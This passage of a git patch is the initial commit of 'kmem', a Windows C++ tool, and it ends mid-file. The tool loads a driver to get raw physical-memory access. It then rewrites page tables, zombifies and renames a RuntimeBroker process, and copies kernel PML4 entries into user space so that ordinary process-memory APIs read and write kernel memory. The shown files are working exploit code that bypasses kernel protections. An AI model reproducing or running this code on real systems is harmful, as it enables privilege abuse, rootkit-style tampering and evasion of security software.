From 0c5b29f708c10c87a1109a9e6e0b89ec9d1222d9 Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Mon, 16 Nov 2020 01:40:23 -0800 Subject: [PATCH] init commit --- img/kmem-icon.png | Bin 0 -> 6638 bytes kmem.sln | 22 + kmem/icon.rc | 3 + kmem/kmem.vcxproj | 107 ++ kmem/kmem.vcxproj.filters | 64 + kmem/kmem.vcxproj.user | 11 + kmem/kmem_ctx/kmem_ctx.cpp | 120 ++ kmem/kmem_ctx/kmem_ctx.hpp | 17 + kmem/main.cpp | 77 ++ kmem/mem_ctx/mem_ctx.cpp | 480 ++++++++ kmem/mem_ctx/mem_ctx.hpp | 86 ++ kmem/small.ico | Bin 0 -> 73182 bytes kmem/util/loadup.hpp | 247 ++++ kmem/util/nt.hpp | 193 ++++ kmem/util/util.hpp | 323 ++++++ kmem/vdm/raw_driver.hpp | 2242 ++++++++++++++++++++++++++++++++++++ kmem/vdm/vdm.hpp | 142 +++ kmem/vdm_ctx/vdm_ctx.cpp | 123 ++ kmem/vdm_ctx/vdm_ctx.hpp | 116 ++ 19 files changed, 4373 insertions(+) create mode 100644 img/kmem-icon.png create mode 100644 kmem.sln create mode 100644 kmem/icon.rc create mode 100644 kmem/kmem.vcxproj create mode 100644 kmem/kmem.vcxproj.filters create mode 100644 kmem/kmem.vcxproj.user create mode 100644 kmem/kmem_ctx/kmem_ctx.cpp create mode 100644 kmem/kmem_ctx/kmem_ctx.hpp create mode 100644 kmem/main.cpp create mode 100644 kmem/mem_ctx/mem_ctx.cpp create mode 100644 kmem/mem_ctx/mem_ctx.hpp create mode 100644 kmem/small.ico create mode 100644 kmem/util/loadup.hpp create mode 100644 kmem/util/nt.hpp create mode 100644 kmem/util/util.hpp create mode 100644 kmem/vdm/raw_driver.hpp create mode 100644 kmem/vdm/vdm.hpp create mode 100644 kmem/vdm_ctx/vdm_ctx.cpp create mode 100644 kmem/vdm_ctx/vdm_ctx.hpp diff --git a/img/kmem-icon.png b/img/kmem-icon.png new file mode 100644 index 0000000000000000000000000000000000000000..9ca450bb5114067da9c2d94586a2e10ccef6c367 GIT binary patch literal 6638 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 N^luq!*JwI~{|^)`zTW@< literal 0 HcmV?d00001 diff --git a/kmem.sln b/kmem.sln new file mode 100644 index 0000000..e5d2cd6 --- /dev/null +++ b/kmem.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.30503.244 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "kmem", "kmem\kmem.vcxproj", "{ED392663-3AF3-40DE-8AC7-2F373B3E9B45}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {ED392663-3AF3-40DE-8AC7-2F373B3E9B45}.Release|x64.ActiveCfg = Release|x64 + {ED392663-3AF3-40DE-8AC7-2F373B3E9B45}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {31E8D06F-582D-4DDC-88A4-8FE8CBEC5EDF} + EndGlobalSection +EndGlobal diff --git a/kmem/icon.rc b/kmem/icon.rc new file mode 100644 index 0000000..5856874 --- /dev/null +++ b/kmem/icon.rc @@ -0,0 +1,3 @@ +// Icon Resource Definition +#define MAIN_ICON 102 +MAIN_ICON ICON "small.ico" \ No newline at end of file diff --git a/kmem/kmem.vcxproj b/kmem/kmem.vcxproj new file mode 100644 index 0000000..2c80fe3 --- /dev/null +++ b/kmem/kmem.vcxproj @@ -0,0 +1,107 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {ed392663-3af3-40de-8ac7-2f373b3e9b45} + nasainjector + 10.0 + kmem + + + + Application + true + v142 + MultiByte + + + Application + false + v142 + true + MultiByte + + + + + + + + + + + + + + + true + + + false + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Custom + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS + true + stdcpp17 + Custom + + + Console + true + true + true + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kmem/kmem.vcxproj.filters b/kmem/kmem.vcxproj.filters new file mode 100644 index 0000000..a144f80 --- /dev/null +++ b/kmem/kmem.vcxproj.filters @@ -0,0 +1,64 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {b197b9bf-8ab7-40c3-89e0-ad2ac4a211ab} + + + {565c24cf-6d76-4715-9d8c-f35b17ee0ec6} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files\vdm + + + Header Files\vdm + + + Header Files + + + Header Files\util + + + Header Files\util + + + Header Files\util + + + Header Files + + + Header Files + + + + + Header Files + + + \ No newline at end of file diff --git a/kmem/kmem.vcxproj.user b/kmem/kmem.vcxproj.user new file mode 100644 index 0000000..8b11d36 --- /dev/null +++ b/kmem/kmem.vcxproj.user @@ -0,0 +1,11 @@ + + + + --pid 12116 + WindowsLocalDebugger + + + --pid 69 + WindowsLocalDebugger + + \ No newline at end of file diff --git a/kmem/kmem_ctx/kmem_ctx.cpp b/kmem/kmem_ctx/kmem_ctx.cpp new file mode 100644 index 0000000..c3a3c3b --- /dev/null +++ b/kmem/kmem_ctx/kmem_ctx.cpp @@ -0,0 +1,120 @@ +#include "kmem_ctx.hpp" + +namespace nasa +{ + kmem_ctx::kmem_ctx(vdm::vdm_ctx* vdm) + : vdm(vdm) + { + const auto runtime_broker_pid = + util::start_runtime_broker(); + + zombie(runtime_broker_pid); + const auto runtime_broker_peproc = + vdm->get_peprocess(runtime_broker_pid); + + set_process_name(runtime_broker_peproc, L"/proc/kmem"); + mem_ctx runtime_ctx(*vdm, runtime_broker_pid); + + const auto pml4 = + reinterpret_cast( + runtime_ctx.set_page( + runtime_ctx.get_dirbase())); + + // shoot the legs off the table, make it to do a back flip... + // (aka put kernel pml4e's into usermode/below MmHighestUserAddress so NtReadVirtualMemory + // and NtWriteVirtualMemory/all winapis will work)... + memcpy(pml4, pml4 + 255, 256 * sizeof pml4e); + } + + auto kmem_ctx::translate(std::uintptr_t kva) -> std::uintptr_t + { + virt_addr_t old_addr{ reinterpret_cast(kva) }; + virt_addr_t new_addr{ NULL }; + new_addr.pml4_index = old_addr.pml4_index - 255; + new_addr.pdpt_index = old_addr.pdpt_index; + new_addr.pd_index = old_addr.pd_index; + new_addr.pt_index = old_addr.pt_index; + return reinterpret_cast(new_addr.value); + } + + auto kmem_ctx::get_handle()->HANDLE + { + return OpenProcess(PROCESS_ALL_ACCESS, FALSE, util::get_pid("/proc/kmem")); + } + + void kmem_ctx::zombie(std::uint32_t pid) const + { + // zombie the the process by incrementing an exit counter + // then calling TerminateProcess so the process never closes... + const auto runtime_broker_peproc = + reinterpret_cast( + vdm->get_peprocess(pid)); + + static const auto inc_ref_counter = + util::get_kmodule_export( + "ntoskrnl.exe", + "PsAcquireProcessExitSynchronization" + ); + + const auto result = + vdm->syscall( + inc_ref_counter, runtime_broker_peproc); + + const auto handle = OpenProcess(PROCESS_TERMINATE, FALSE, pid); + TerminateProcess(handle, NULL); + CloseHandle(handle); + } + + bool kmem_ctx::set_process_name(PEPROCESS peproc, const wchar_t* new_name) + { + static const auto process_image_name = + reinterpret_cast( + util::get_kmodule_export( + "ntoskrnl.exe", "SeLocateProcessImageName")); + + if (!process_image_name) + return false; + + // SeLocateProcessImageName --> PsGetAllocatedFullProcessImageNameEx + // PAGE : 00000001406B1A50 SeLocateProcessImageName proc near + // PAGE : 00000001406B1A50 48 83 EC 28 sub rsp, 28h + // PAGE : 00000001406B1A54 E8 0B 00 00 00 call PsGetAllocatedFullProcessImageNameEx <====== + 5 + // PAGE : 00000001406B1A59 48 83 C4 28 add rsp, 28h + // PAGE : 00000001406B1A5D C3 retn + // PAGE : 00000001406B1A5D SeLocateProcessImageName endp + const auto get_process_name = + (process_image_name + 9 + vdm->rkm(process_image_name + 5)); // <====== + 5 + + // PAGE : 00000001406B1A64 48 83 EC 28 sub rsp, 28h + // PAGE : 00000001406B1A68 48 83 B9 10 07 00 00 00 cmp qword ptr[rcx + 710h], 0 + // PAGE : 00000001406B1A70 B8 25 02 00 C0 mov eax, 0C0000225h + // PAGE : 00000001406B1A75 0F 85 0B E9 10 00 jnz loc_1407C0386 + // PAGE : 00000001406B1A7B 48 83 B9 68 04 00 00 00 cmp qword ptr[rcx + 468h], 0 <===== + 26 + const auto process_name_idx = + vdm->rkm(get_process_name + 26); // <===== + 26 + + // _SE_AUDIT_PROCESS_CREATION_INFO SeAuditProcessCreationInfo + // _SE_AUDIT_PROCESS_CREATION_INFO --> POBJECT_NAME_INFORMATION == PUNICODE_STRING... + const auto unicode_string_ptr = + vdm->rkm( + reinterpret_cast(peproc) + process_name_idx); + + if (!unicode_string_ptr) + return false; + + auto process_unicode_str = + vdm->rkm(unicode_string_ptr); + + if (!process_unicode_str.Buffer) + return false; + + // set new name... + vdm->wkm((void*)process_unicode_str.Buffer, (void*)new_name, std::wcslen(new_name) * sizeof(wchar_t)); + + // set new unicode string info... + process_unicode_str.Length = std::wcslen(new_name) * sizeof(wchar_t); + process_unicode_str.MaximumLength = std::wcslen(new_name) * sizeof(wchar_t); + vdm->wkm(unicode_string_ptr, process_unicode_str); + return true; + } +} \ No newline at end of file diff --git a/kmem/kmem_ctx/kmem_ctx.hpp b/kmem/kmem_ctx/kmem_ctx.hpp new file mode 100644 index 0000000..c1bb4bf --- /dev/null +++ b/kmem/kmem_ctx/kmem_ctx.hpp @@ -0,0 +1,17 @@ +#pragma once +#include "../mem_ctx/mem_ctx.hpp" + +namespace nasa +{ + class kmem_ctx + { + public: + kmem_ctx(vdm::vdm_ctx* vdm); + static auto get_handle()->HANDLE; + static auto translate(std::uintptr_t kva)->std::uintptr_t; + private: + void zombie(std::uint32_t pid) const; + bool set_process_name(PEPROCESS peproc, const wchar_t* new_name); + vdm::vdm_ctx* vdm; + }; +} \ No newline at end of file diff --git a/kmem/main.cpp b/kmem/main.cpp new file mode 100644 index 0000000..d2c49a5 --- /dev/null +++ b/kmem/main.cpp @@ -0,0 +1,77 @@ +#include "kmem_ctx/kmem_ctx.hpp" + +int __cdecl main(int argc, char** argv) +{ + vdm::read_phys_t _read_phys = [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::read_phys(addr, buffer, size); + }; + + vdm::write_phys_t _write_phys = [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; + + auto kmem_handle = nasa::kmem_ctx::get_handle(); + + // translation just subtracts pml4 index bit field by 255... + const auto ntoskrnl_base = util::get_kmodule_base("ntoskrnl.exe"); + const auto ntoskrnl_translated = nasa::kmem_ctx::translate(ntoskrnl_base); + + std::printf("[+] ntoskrnl base -> 0x%p\n", ntoskrnl_base); + std::printf("[+] ntoskrnl translated -> 0x%p\n", ntoskrnl_translated); + + if (kmem_handle == INVALID_HANDLE_VALUE) + { + const auto [drv_handle, drv_key] = vdm::load_drv(); + if (drv_handle == INVALID_HANDLE_VALUE) + { + std::printf("[!] invalid handle...\n"); + std::getchar(); + return -1; + } + + vdm::vdm_ctx vdm(_read_phys, _write_phys); + nasa::kmem_ctx kmem(&vdm); + + kmem_handle = kmem.get_handle(); + unsigned short mz = 0u; + std::size_t bytes_handled; + + // ReadProcessMemory kernel memory example... + auto result = + ReadProcessMemory( + kmem_handle, + reinterpret_cast(ntoskrnl_translated), + &mz, sizeof mz, + &bytes_handled + ); + + std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz); + + if (!vdm::unload_drv(drv_handle, drv_key)) + { + std::printf("[!] unable to unload driver...\n"); + std::getchar(); + return -1; + } + } + else + { + unsigned short mz = 0u; + std::size_t bytes_handled; + + // ReadProcessMemory kernel memory example... + auto result = + ReadProcessMemory( + kmem_handle, + reinterpret_cast(ntoskrnl_translated), + &mz, sizeof mz, + &bytes_handled + ); + + std::printf("[+] ReadProcessMemory Result -> %d, mz -> 0x%x\n", result, mz); + } + std::printf("[+] press enter to exit...\n"); + std::getchar(); +} \ No newline at end of file diff --git a/kmem/mem_ctx/mem_ctx.cpp b/kmem/mem_ctx/mem_ctx.cpp new file mode 100644 index 0000000..27abee6 --- /dev/null +++ b/kmem/mem_ctx/mem_ctx.cpp @@ -0,0 +1,480 @@ +#include "mem_ctx.hpp" + +namespace nasa +{ + mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, std::uint32_t pid) + : + v_ctx(&v_ctx), + pid(pid), + dirbase(get_dirbase(v_ctx, pid)) + { + // find an empty pml4e inside of current processes pml4... + const auto current_pml4 = + v_ctx.get_virtual(reinterpret_cast( + get_dirbase(v_ctx, GetCurrentProcessId()))); + + for (auto idx = 100u; idx > 0u; --idx) + if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value) + this->pml4e_index = idx; + + // allocate a pdpt + this->new_pdpt.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pdpt.second, PAGE_4KB); + // get page table entries for new pdpt + pt_entries new_pdpt_entries; + hyperspace_entries(new_pdpt_entries, new_pdpt.second); + this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12); + + // make a new pml4e that points to our new pdpt. + new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; + + // set the pml4e to point to the new pdpt + set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); + + // make a new pd + this->new_pd.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pd.second, PAGE_4KB); + + // get paging table entries for pd + pt_entries new_pd_entries; + hyperspace_entries(new_pd_entries, this->new_pd.second); + this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12); + + // make a new pt + this->new_pt.second = + reinterpret_cast( + VirtualAlloc( + NULL, + PAGE_4KB, + MEM_COMMIT | MEM_RESERVE, + PAGE_READWRITE + )); + + PAGE_IN(this->new_pt.second, PAGE_4KB); + // get paging table entries for pt + pt_entries new_pt_entries; + hyperspace_entries(new_pt_entries, this->new_pt.second); + this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12); + } + + void* mem_ctx::set_page(void* addr) + { + // table entry change. + ++pte_index; + if (pte_index >= 511) + { + ++pde_index; + pte_index = 0; + } + + if (pde_index >= 511) + { + ++pdpte_index; + pde_index = 0; + } + + if (pdpte_index >= 511) + pdpte_index = 0; + + pdpte new_pdpte = { NULL }; + new_pdpte.present = true; + new_pdpte.rw = true; + new_pdpte.pfn = reinterpret_cast(new_pd.first) >> 12; + new_pdpte.user_supervisor = true; + new_pdpte.accessed = true; + + // set pdpte entry + *reinterpret_cast(new_pdpt.second + pdpte_index) = new_pdpte; + + pde new_pde = { NULL }; + new_pde.present = true; + new_pde.rw = true; + new_pde.pfn = reinterpret_cast(new_pt.first) >> 12; + new_pde.user_supervisor = true; + new_pde.accessed = true; + + // set pde entry + *reinterpret_cast(new_pd.second + pde_index) = new_pde; + + pte new_pte = { NULL }; + new_pte.present = true; + new_pte.rw = true; + new_pte.pfn = reinterpret_cast(addr) >> 12; + new_pte.user_supervisor = true; + new_pte.accessed = true; + + // set pte entry + *reinterpret_cast(new_pt.second + pte_index) = new_pte; + + // set page offset + this->page_offset = virt_addr_t{ addr }.offset; + return get_page(); + } + + void* mem_ctx::get_page() const + { + // builds a new address given the state of all table indexes + virt_addr_t new_addr; + new_addr.pml4_index = this->pml4e_index; + new_addr.pdpt_index = this->pdpte_index; + new_addr.pd_index = this->pde_index; + new_addr.pt_index = this->pte_index; + new_addr.offset = this->page_offset; + return new_addr.value; + } + + void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, std::uint32_t pid) + { + const auto peproc = + reinterpret_cast(v_ctx.get_peprocess(pid)); + + const auto dirbase = + v_ctx.rkm(peproc + 0x28); + + return reinterpret_cast(dirbase.pfn << 12); + } + + bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) + { + if (!addr || !dirbase) + return false; + + virt_addr_t virt_addr{ addr }; + entries.pml4.first = reinterpret_cast(dirbase) + virt_addr.pml4_index; + entries.pml4.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pml4.first))); + + if (!entries.pml4.second.value) + return false; + + entries.pdpt.first = reinterpret_cast(entries.pml4.second.pfn << 12) + virt_addr.pdpt_index; + entries.pdpt.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pdpt.first))); + + if (!entries.pdpt.second.value) + return false; + + entries.pd.first = reinterpret_cast(entries.pdpt.second.pfn << 12) + virt_addr.pd_index; + entries.pd.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pd.first))); + + // if its a 2mb page + if (entries.pd.second.large_page) + { + entries.pt.second.value = entries.pd.second.value; + entries.pt.first = reinterpret_cast(entries.pd.second.value); + return true; + } + + entries.pt.first = reinterpret_cast(entries.pd.second.pfn << 12) + virt_addr.pt_index; + entries.pt.second = v_ctx->rkm( + v_ctx->get_virtual(reinterpret_cast(entries.pt.first))); + + if (!entries.pt.second.value) + return false; + + return true; + } + + std::pair mem_ctx::get_pte(void* addr, bool use_hyperspace) + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pt.first, entries.pt.second }; + return {}; + } + + void mem_ctx::set_pte(void* addr, const ::pte& pte, bool use_hyperspace) + { + if (!dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pte); + else + write_phys(addr, pte); + } + + std::pair mem_ctx::get_pde(void* addr, bool use_hyperspace) + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pd.first, entries.pd.second }; + return {}; + } + + void mem_ctx::set_pde(void* addr, const ::pde& pde, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pde); + else + write_phys(addr, pde); + } + + std::pair mem_ctx::get_pdpte(void* addr, bool use_hyperspace) + { + if (!dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pdpt.first, entries.pdpt.second }; + return {}; + } + + void mem_ctx::set_pdpte(void* addr, const ::pdpte& pdpte, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pdpte); + else + write_phys(addr, pdpte); + } + + std::pair mem_ctx::get_pml4e(void* addr, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return {}; + + pt_entries entries; + if ((use_hyperspace ? hyperspace_entries(entries, addr) : (bool)virt_to_phys(entries, addr))) + return { entries.pml4.first, entries.pml4.second }; + return {}; + } + + void mem_ctx::set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace) + { + if (!this->dirbase || !addr) + return; + + if (use_hyperspace) + v_ctx->wkm(v_ctx->get_virtual(reinterpret_cast(addr)), pml4e); + else + write_phys(addr, pml4e); + } + + std::pair mem_ctx::read_virtual(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size || !dirbase) + return {}; + + virt_addr_t virt_addr{ addr }; + if (size <= PAGE_4KB - virt_addr.offset) + { + pt_entries entries; + read_phys + ( + buffer, + virt_to_phys(entries, addr), + size + ); + + return + { + reinterpret_cast(reinterpret_cast(buffer) + size), + reinterpret_cast(reinterpret_cast(addr) + size) + }; + } + else + { + // cut remainder + const auto [new_buffer_addr, new_addr] = read_virtual + ( + buffer, + addr, + PAGE_4KB - virt_addr.offset + ); + + // forward work load + return read_virtual + ( + new_buffer_addr, + new_addr, + size - (PAGE_4KB - virt_addr.offset) + ); + } + } + + std::pair mem_ctx::write_virtual(void* buffer, void* addr, std::size_t size) + { + if (!buffer || !addr || !size || !dirbase) + return {}; + + virt_addr_t virt_addr{ addr }; + if (size <= PAGE_4KB - virt_addr.offset) + { + pt_entries entries; + write_phys + ( + buffer, + virt_to_phys(entries, addr), + size + ); + + return + { + reinterpret_cast(reinterpret_cast(buffer) + size), + reinterpret_cast(reinterpret_cast(addr) + size) + }; + } + else + { + // cut remainder + const auto 